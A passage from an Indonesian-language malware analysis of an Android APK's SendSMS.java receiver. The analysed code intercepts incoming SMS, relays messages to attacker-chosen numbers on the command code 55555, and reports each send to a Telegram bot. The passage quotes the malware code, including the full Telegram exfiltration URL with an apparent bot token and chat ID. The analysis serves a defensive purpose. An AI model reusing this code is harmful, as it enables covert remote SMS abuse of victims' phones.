                e = e2;
            }
        }
    }
}

SendSMS.java merupakan sebuah kelas Java yang berfungsi sebagai BroadcastReceiver untuk menangkap pesan SMS yang diterima perangkat. Kode ini memiliki fungsi utama untuk membaca isi SMS yang masuk dan jika memenuhi kondisi tertentu, secara otomatis mengirimkan SMS baru ke nomor tujuan yang ditentukan dalam pesan yang diterima.

Berikut adalah analisis dari fungsi-fungsi utama dalam kode ini:

1. Menerima SMS Masuk

Kode menangkap intent dengan aksi android.provider.Telephony.SMS_RECEIVED, yang berarti akan dipicu setiap kali perangkat menerima SMS. Data SMS yang diterima kemudian diekstrak menggunakan metode getExtras() dan diproses lebih lanjut:

Object[] objArr = (Object[]) extras.get("pdus");
SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];

Baris ini mengambil pesan SMS dalam format “PDU” (Protocol Data Unit) dan mengonversinya menjadi objek SmsMessage untuk diproses lebih lanjut.

2. Memproses Isi Pesan

Setelah mendapatkan isi SMS, kode mengganti beberapa karakter khusus (&, #, ?) dengan spasi untuk mencegah parsing yang tidak diinginkan:

messageBody.replace("&", "  ").replace("#", str).replace("?", str);

Kemudian, pesan dipisahkan menggunakan koma (",") sebagai delimiter:

String str3 = messageBody.split(str2)[0]; // Kode perintah
String str4 = messageBody.split(str2)[1]; // Nomor tujuan
String str5 = messageBody.split(str2)[2]; // Isi pesan SMS yang akan dikirim

Kode ini menunjukkan bahwa format SMS yang diharapkan adalah:

55555,6281234567890,Pesan yang akan dikirim

Jika kode perintah (str3) memiliki nilai 55555, maka pengiriman SMS akan dilakukan.

3. Mengirim SMS Secara Otomatis

Jika kode perintah benar (55555), sistem akan mengirimkan SMS ke nomor yang ditentukan (str4) dengan isi pesan (str5):

SmsManager.getDefault().sendTextMessage(str4, null, str5, null, null);

Kode ini memanfaatkan SmsManager, API bawaan Android untuk mengirim.

4. Melaporkan Aktivitas ke Bot Telegram

Setelah mengirimkan SMS, kode juga mengirimkan permintaan HTTP ke API Telegram:

this.client.newCall(new Request.Builder()
    .url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=Berhasil Kirim SMS dari Jauh  %0AKepada  : _" + str4 + "_,%0A๐ฆ๐ž๐ฌ๐ฌ๐š๐ ๐ž : _" + str5 + "_")
    .build())
    .enqueue(new Callback() {

Kode ini mengirimkan pesan ke bot Telegram yang berisi informasi bahwa SMS telah dikirim ke nomor tertentu dengan isi pesan yang diberikan.

Kesimpulan Akhir

Dari hasil analisis yang telah dilakukan, dapat disimpulkan bahwa aplikasi ini mengandung komponen berbahaya yang memungkinkan pelaku mengakses informasi pribadi pengguna tanpa izin. Lebih jauh lagi, aplikasi ini berpotensi digunakan untuk aktivitas siber yang melanggar hukum, seperti penyadapan komunikasi, pencurian data, serta pengiriman SMS secara tidak sah.

Tips

Jika Anda menerima berkas APK yang mencurigakan melalui WhatsApp, email, media sosial, atau sumber lainnya, sangat penting untuk tidak langsung menginstalnya. Sebaiknya abaikan dan jangan membuka berkas tersebut.

ADVERTISEMENT